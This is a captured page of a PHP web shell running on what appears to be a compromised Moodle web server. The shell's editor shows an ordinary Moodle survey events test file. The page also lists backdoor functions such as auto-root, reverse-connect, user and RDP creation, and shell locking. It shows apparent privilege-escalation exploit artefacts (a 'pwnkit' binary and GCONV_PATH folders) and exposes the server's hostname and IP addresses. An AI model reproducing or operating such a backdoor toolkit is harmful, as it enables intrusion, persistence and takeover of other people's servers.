Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
survey /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
generator
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
events_test.php
5.66
KB
-rwxrwxrwx
externallib_test.php
15.58
KB
-rwxrwxrwx
generator_test.php
4.06
KB
-rwxrwxrwx
lib_test.php
15.25
KB
-rwxrwxrwx
privacy_test.php
24.74
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
restore_date_test.php
2.85
KB
-rwxrwxrwx
search_test.php
2.61
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : events_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Events tests. * * @package mod_survey * @copyright 2014 Rajesh Taneja <rajesh@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Events tests class. * * @package mod_survey * @copyright 2014 Rajesh Taneja <rajesh@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_survey_events_testcase extends advanced_testcase { /** * Setup. */ public function setUp() { $this->resetAfterTest(); } /** * Test report downloaded event. */ public function test_report_downloaded() { // There is no proper API to call to generate chapters for a book, so what we are // doing here is simply making sure that the events returns the right information. $course = $this->getDataGenerator()->create_course(); $survey = $this->getDataGenerator()->create_module('survey', array('course' => $course->id)); $params = array( 'objectid' => $survey->id, 'context' => context_module::instance($survey->cmid), 'courseid' => $course->id, 'other' => array('type' => 'xls') ); $event = \mod_survey\event\report_downloaded::create($params); // Triggering and capturing the event. $sink = $this->redirectEvents(); $event->trigger(); $events = $sink->get_events(); $this->assertCount(1, $events); $event = reset($events); // Checking that the event contains the expected values. $this->assertInstanceOf('\mod_survey\event\report_downloaded', $event); $this->assertEquals(context_module::instance($survey->cmid), $event->get_context()); $this->assertEquals($survey->id, $event->objectid); $url = new moodle_url('/mod/survey/download.php', array('id' => $survey->cmid, 'type' => 'xls')); $expected = array($course->id, "survey", "download", $url->out(), $survey->id, $survey->cmid); $this->assertEventLegacyLogData($expected, $event); $this->assertEventContextNotUsed($event); } /** * Test report viewed event. */ public function test_report_viewed() { // There is no proper API to call to generate chapters for a book, so what we are // doing here is simply making sure that the events returns the right information. $course = $this->getDataGenerator()->create_course(); $survey = $this->getDataGenerator()->create_module('survey', array('course' => $course->id)); $params = array( 'objectid' => $survey->id, 'context' => context_module::instance($survey->cmid), 'courseid' => $course->id ); $event = \mod_survey\event\report_viewed::create($params); // Triggering and capturing the event. $sink = $this->redirectEvents(); $event->trigger(); $events = $sink->get_events(); $this->assertCount(1, $events); $event = reset($events); // Checking that the event contains the expected values. $this->assertInstanceOf('\mod_survey\event\report_viewed', $event); $this->assertEquals(context_module::instance($survey->cmid), $event->get_context()); $this->assertEquals($survey->id, $event->objectid); $expected = array($course->id, "survey", "view report", 'report.php?id=' . $survey->cmid, $survey->id, $survey->cmid); $this->assertEventLegacyLogData($expected, $event); $this->assertEventContextNotUsed($event); } /** * Test response submitted event. */ public function test_response_submitted() { // There is no proper API to call to generate chapters for a book, so what we are // doing here is simply making sure that the events returns the right information. $course = $this->getDataGenerator()->create_course(); $survey = $this->getDataGenerator()->create_module('survey', array('course' => $course->id)); $params = array( 'context' => context_module::instance($survey->cmid), 'courseid' => $course->id, 'other' => array('surveyid' => $survey->id) ); $event = \mod_survey\event\response_submitted::create($params); // Triggering and capturing the event. $sink = $this->redirectEvents(); $event->trigger(); $events = $sink->get_events(); $this->assertCount(1, $events); $event = reset($events); // Checking that the event contains the expected values. $this->assertInstanceOf('\mod_survey\event\response_submitted', $event); $this->assertEquals(context_module::instance($survey->cmid), $event->get_context()); $this->assertEquals($survey->id, $event->other['surveyid']); $expected = array($course->id, "survey", "submit", 'view.php?id=' . $survey->cmid, $survey->id, $survey->cmid); $this->assertEventLegacyLogData($expected, $event); $this->assertEventContextNotUsed($event); } }
Close